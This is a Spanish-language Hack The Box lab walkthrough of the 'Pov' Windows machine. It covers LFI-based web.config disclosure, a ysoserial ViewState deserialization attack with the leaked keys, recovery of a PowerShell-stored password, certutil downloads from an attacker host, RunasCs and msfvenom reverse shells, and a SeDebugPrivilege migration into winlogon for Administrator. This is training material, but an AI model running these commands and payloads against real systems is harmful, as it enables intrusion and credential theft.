Table of contents
Para comenzar debemos de activar nuestra VPN de HTB, una vez tenemos esto activo, le lanzaremos un ping a la maquina para validar que esta se encuentra activar. Por su TTL ya podemos intuir que es una maquina Windows
ttl=127
Haremos uso de nuestra herramienta de confianza para hacer escaneos de puertos nmap, el escaneo se hace inicialmente por TCP ya que nmap tiene este protocolo por defecto, pero si necesitamos hacer escaneos por UDP simplemente usamos la flag
-sU. Pero en este caso solo hicimos un reconocimiento directamente por TCP y evidenciamos un puerto http abierto:
80/tcp open http syn-ack ttl 127
sudo nmap -p- -sS -vvv --open --min-rate 5000 -Pn -n 10.129.75.233 -oG allports
[sudo] password for kali:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-31 14:28 EST
Initiating SYN Stealth Scan at 14:28
Scanning 10.129.75.233 [65535 ports]
Discovered open port 80/tcp on 10.129.75.233
Completed SYN Stealth Scan at 14:28, 26.65s elapsed (65535 total ports)
Nmap scan report for 10.129.75.233
Host is up, received user-set (0.18s latency).
Scanned at 2024-01-31 14:28:07 EST for 27s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds
Raw packets sent: 131087 (5.768MB) | Rcvd: 17 (748B)
En este punto me pase el reconocimiento de los puertos y fui directamente hacer uso de whatweb que este es como wappalizer pero a nivel de consola, el comando para hacer reconocimiento al puerto es el siguiente:
sudo nmap -sCV -p80 {IP} -oN targets
-sCV: Estas opciones activan diferentes tipos de escaneo:
-s: Indica el tipo de escaneo. En este caso, s se refiere a un escaneo de servicios.
-C: Activa la detección de scripts de Nmap. Realiza un escaneo utilizando scripts predefinidos para obtener información adicional sobre los servicios.
-p80: Especifica el puerto que se va a escanear. En este caso, el puerto 80, que es el puerto estándar utilizado para el tráfico HTTP.
{IP}: Reemplaza esto con la dirección IP del objetivo que deseas escanear. Es la dirección IP del sistema que estás investigando.
-oN targets: Esta opción indica a Nmap que guarde la salida del escaneo en un archivo llamado "targets". El formato de salida será normal.
Como podemos evidenciar contamos con el servicio web y el whatweb nos reporta información por consola sobre lo que tiene este host.
whatweb 10.129.75.233 > ScanWeb
cat ScanWeb
http://10.129.75.233 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sfitz@pov.htb], HTML5, HTTPServer[Microsoft-II
S/10.0], IP[10.129.75.233], Microsoft-IIS[10.0], Script, Title[pov.htb], X-Powered-By[ASP.NET]
Cuando ingresamos evidenciamos que el host es pov.htb entonces para ello ingresamos a nuestro /etc/hosts
y añadimos la ip que nos otorga HTB más el host para no tenemos problemas con este.
Una vez dentro de la web lo primero que hago es hacer reconocimiento de subdominios existentes con la herramienta de wfuzz. Adicional hice un fuzzing a los directorios del host principal pero no encontré mayor información al respecto.
wfuzz -c --hh=12330 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "HOST: FUZZ.pov.htb" -u http://pov.htb/
En el reconocimiento evidenciamos un subdominio llamado dev
.
Nuevamente como el ejercicio anterior debemos de añadir dev.pov.htb
a nuestro/etc/hosts
.
Ingresamos a http://dev.pov.htb/
y nos ingresa directamente a /portafolio/
. Le he realizado reconocimiento a la web pero no encontré información interesante.
En http://dev.pov.htb/
encontramos una descarga de CV al parecer es el curriculum del Stephen Fitz.
Para este entonces debemos de tener nuestro Burpsuite
arriba y capturar la trama justo en el momento donde descargamos el archivo, podemos ver como se esta enviando la petición por POST
y el contenido del cuerpo del Request
y al otro lado evidenciamos el Response
y podemos ver la cabecera de %PDF-1.7
Dentro del Request
comencé hacer diversas inyeciones
. hasta que intente en &file=cv.pdf
para automatizar el proceso tome la decisión de tirar del Intruder
y hacer un ataque de inyecciones por diccionario
.
Podemos ver las diferentes inyecciones a nivel de windows
que inyecte en el payload settings
.
En efecto contamos con un LFI.
&file=\web.config
El archivo web.config
es un archivo de configuración utilizado en aplicaciones web basadas en el framework ASP.NET de Microsoft. Este archivo se encuentra comúnmente en el directorio raíz de una aplicación web y contiene configuraciones específicas para esa aplicación.
Algunas de las configuraciones que se pueden encontrar en el archivo web.config
incluyen:
Configuración de la aplicación: Puede contener información sobre la versión de ASP.NET, configuraciones de la aplicación, y otras opciones relacionadas con la ejecución de la aplicación web.
Configuración de la seguridad: Puede incluir configuraciones de seguridad, como permisos de acceso a carpetas y archivos, configuraciones de autenticación y autorización, entre otros.
Configuración de la base de datos: Si la aplicación utiliza una base de datos, es posible que el
web.config
contenga información sobre la cadena de conexión a la base de datos u otras configuraciones relacionadas.Configuración de sesiones y estado: Puede definir configuraciones para el manejo de sesiones de usuario, cookies y otros aspectos relacionados con el estado de la aplicación.
La información que este nos trae tiene una DecriptionKey, Validation y ValidationKey.
Para la explotación de esta información nos hemos apoyado en el siguiente articulo:
https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter?source=post_page-----7516c938c688--------------------------------
Ahora bien para facilitarnos el proceso de explotación debemos de clonar el siguiente repositorio:
git clone https://github.com/ExoHaeck/OSCP.git
El cual contiene lo necesario para desarrollar la maquina.
Lo primero que debemos hacer es generar una shell
con la script
llamada Reverse_Shell_for_Power_Shell.py
para el uso de esta debemos de indicarle una IP
y el puerto
donde estaremos en escucha, de la siguiente manera:
Python3 Reverse_Shell_for_Power_Shell.py {IP} {PUERTO}
Una vez generamos la shell
el output
de consola seria el siguiente:
Por otro lado dentro del repositorio tenemos un zip
llamado ysoserial.zip
este lo debemos descomprimir y nos dejara un .exe
llamado ysoserial.exe
el cual lo debemos ejecutar
en nuestro powershell
. En esta parte del proceso hago uso de mi maquina personal de Windows
para ejecutar el exe
de la siguiente manera:
Debemos indicarle el
--decryptionalg="AES"
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
--validationalg="SHA1"
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
--path="/portfolio/default.aspx"
-c "Copiar el payload generado con el script de python"
Nos quedaría de la siguiente forma:
ysoserial.exe -p ViewState -g TextFormattingRunProperties --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio/default.aspx" -c "Paste_the_payload_here"
Cargamos la shell
generada con anterioridad en la flag -c
Cuando ejecutamos este nos dejara una carga útil que demos de inyectarla en __VIEWSTATE
.
Volvemos a nuestra captura de Burpsuite
y inyectamos el payload en __VIEWSTATE=
Para este punto debemos de tener en escucha el puerto que pusimos en nuestra revershell generada.
Python3 Reverse_Shell_for_Power_Shell.py {IP} {PUERTO}
Nos podemos en escucha por NetCat
.
nc -lnvp 4443 #Este fue el puerto que puse en la ReverShell que he generado
Cargamos el payload
y enviamos la petición
Tenemos conexión con la maquina.
Validamos los directorios del usuario sfitz
nos encontramos enC:\Users\sfitz\Documents
y vemos un archivo en XML llamado connection.xml
.
Evidenciamos que contiene un tema de credenciales del usuario alaading
. Usuario existente a nivel de sistema.
Debemos ir al siguiente enlace para tener información de como podemos pasar esas credenciales a texto plano.
https://mcpmag.com/articles/2017/07/20/save-and-read-sensitive-data-with-powershell.aspx?source=post_page-----75ab061c8adc--------------------------------
Una vez en el articulo "Cómo guardar y leer datos sensibles con PowerShell"
podemos evidenciar un paso a paso para ver la contraseña en texto plano.
En este punto hacemos uso del paso a paso:
$credential = Import-CliXml -Path <PathToXml>\MyCredential.xml
$credential.GetNetworkCredential().Password
Debemos d cambiar unas cosas, especialmente el -Path
e ingresar el path donde están almacenadas las credenciales.
PS C:\Users\sfitz\Documents> $credential = Import-CliXml -Path C:\Users\sfitz\Documents\connection.xml
PS C:\Users\sfitz\Documents> $credential.GetNetworkCredential().Password
f8gQ8fynP44ek1m3
Una vez hecho esto tenemos las credenciales para el usuario alaading:f8gQ8fynP44ek1m3
Para este punto debemos entablar un servicio web a través de python
de la siguiente forma:
python3 -m http.server 8089
Una vez tenemos el servicio arriba debemos de pasarnos los archivos que nos hemos bajado del repositorio de github.
Una vez tenemos el servicio arriba tenemos que hacer uso de las siguientes lineas para descargar la información.
certutil.exe -urlcache -split -f "http://IP:PORT/EnableAllTokenPrivs.ps1" ".\EnableAllTokenPrivs.ps1"
certutil.exe -urlcache -split -f "http://IP:PORT/psgetsys.ps1" ".\psgetsys.ps1"
certutil.exe -urlcache -split -f "http://IP:PORT/RunasCs.exe" ".\RunasCs.exe"
PS C:\Users\sfitz\Desktop> certutil.exe -urlcache -split -f "http://10.10.14.130:8089/EnableAllTokenPrivs.ps1" ".\EnableAllTokenPrivs.ps1"
**** Online ****
0000 ...
0d79
CertUtil: -URLCache command completed successfully.
PS C:\Users\sfitz\Desktop> certutil.exe -urlcache -split -f "http://10.10.14.130:8089/psgetsys.ps1" ".\psgetsys.ps1"
**** Online ****
0000 ...
1726
CertUtil: -URLCache command completed successfully.
PS C:\Users\sfitz\Desktop> PS C:\Users\sfitz\Desktop> certutil.exe -urlcache -split -f "http://10.10.14.130:8089/RunasCs.exe" ".\RunasCs.exe"
**** Online ****
0000 ...
ca00
CertUtil: -URLCache command completed successfully.
Podemos validar que los tenemos en nuestro directorio.
RunasCs es una utilidad para ejecutar procesos específicos con permisos diferentes a los que el engable actual del usuario proporciona usando credenciales explícitas. Esta herramienta es una versión mejorada y abierta de windows builtin runas.exe que resuelve algunas limitaciones:
- Permite credenciales explícitas
Una vez tenemos el RunasCs
descargado en nuestra maquina victima procedemos abrir un puerto con NetCat
.
nc -lnvp 4444
Ahora cuando este puerto lo tengamos en escucha, debemos de ingresar el siguiente comando en la linea de comandos de la maquina victima donde ingresaremos nuestra IP
y el Puerto
que tenemos en escucha en este caso el 4444
. Adicional debemos indicarle el nombre del usuario que es alaading
y su contraseña f8gQ8fynP44ek1m3
y le diremos que nos ejecute una shell cmd.exe
en la dirección con puerto establecido.
.\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.130:4444
Ejecutamos el comando a nivel de consola:
En nuestro puerto que tenemos en escucha nos llega una ReverShell
.
Evidenciamos que estamos como el usuario alaading
.
C:\Windows\system32>whoami
whoami
pov\alaading
En este punto nos vamos al directorio C:\Users\alaading\Desktop
y podemos evidenciar la flag
de usuario.
Escalada de Privilegios
whoami /priv
Al observar los permisos, descubrí que existe SeDebugPrivilege
, que se puede transferir directamente con winlogon
.
SeDebugPrivilege
se refiere al privilegio de depuración en sistemas operativos Windows. Este privilegio otorga a un usuario o proceso el derecho de depurar otros procesos en el sistema. Los privilegios de depuración son críticos para ciertas tareas de bajo nivel, como el desarrollo de software, análisis de malware y la administración avanzada del sistema.
Cuando un usuario o un proceso tiene el privilegio SeDebugPrivilege
, puede realizar tareas como:
Depuración de procesos: Puede adjuntar un depurador a otros procesos en ejecución para monitorear o manipular su comportamiento. Esto es esencial para desarrolladores y analistas de software.
Acceso a información privilegiada: SeDebugPrivilege permite acceder a información privilegiada de otros procesos, como la memoria y los registros, lo que es necesario para ciertos tipos de análisis y herramientas de administración del sistema.
Control avanzado del sistema: Al poseer este privilegio, un usuario o proceso puede tener un control más amplio sobre el sistema operativo, lo que puede ser necesario para tareas de administración de sistemas avanzadas.
Pero hay una pregunta aquí. ¿Por qué el powershell generado por RunasCs tiene SeDebugPrivilege, pero cmd no tiene SeDebugPrivilege?
Para Habilitar el estado de este privilegio, cd en el directorio y ejecutar el script que descargamos en sección anterior usando los comandos:
.\psgetsys.ps1
.\EnableAllTokenPrivs.ps1
En esta parte quiero aclarar que se hace el mismo proceso no solo para shell.exe si no tambien para:
certutil.exe -urlcache -split -f "http://IP:PORT/EnableAllTokenPrivs.ps1" ".\EnableAllTokenPrivs.ps1"
certutil.exe -urlcache -split -f "http://IP:PORT/psgetsys.ps1" ".\psgetsys.ps1"
Antes lo habíamos cargado en el usuario sfitz
y ahora debemos de cargarlo en el usuario alaading
. El motivo es por que cuando estaba con el usuario alaading
no me dejaba acceder al directorio del usuario sfitz
. Por ende volví a descargarme los archivos EnableAllTokenPrivs.ps1
y psgetsys.ps1
en el Escritorio del usuario alaading
.
En este punto en nuestra maquina debemos de generar una ReverShell
con msfvenom
de la siguiente forma:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PUERTO -f exe > shell.exe
Haciendo el mismo proceso que hicimos con anterioridad de cargar los archivos en la maquina victima debemos de enviarnos el ReverShell
que generamos.
certutil.exe -urlcache -split -f "http://10.10.14.130:8089/shell.exe" ".\shell.exe"
Cargamos la ReverShell
en la maquina victima.
Ahora cargado la ReverShell que generamos con msfvenom debemos de abrirnos una session con metasploit de la siguiente forma:
msfconsole
use exploit multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST {Nuestra IP}
set LPORT {PUERTO QUE PUSIMOS EN LA GENERACION DE LA SHELL}
run
Una vez le damos run
a nuestra sesión en metasploit
este se quedara en espera como un NetCat
y debemos de ir a la maquina victima y ejecturar la Shell que generamos con msfvenom que en este caso se llama shell.exe
.
.\shell.exe
Una vez la ejecutamos y estableamos conexión debemos de migrar al proceso que vimos mediante los tasklist
de la maquina victima llamado winlogon
y su PID
es el 548
.
meterpreter > migrate 548
Una ves hemos migrado tenemos una shell como Administrator
y podemos ir al escritorio C:\Users\Administrator\Desktop
y podemos ver la flag root.txt
P̸̮̙̤͉͉͊ͅW̶̡̯͚̺̝͈̣̼̬̹̒͒͒̔̐͆̍̀͘Ṋ̵̛̘̃͛͑̑̂͝Ê̷͍͉̝̜̣̳͑̽̓͛̉͒̾͝D̶̡̰̣̻̐̎͋͐̍͗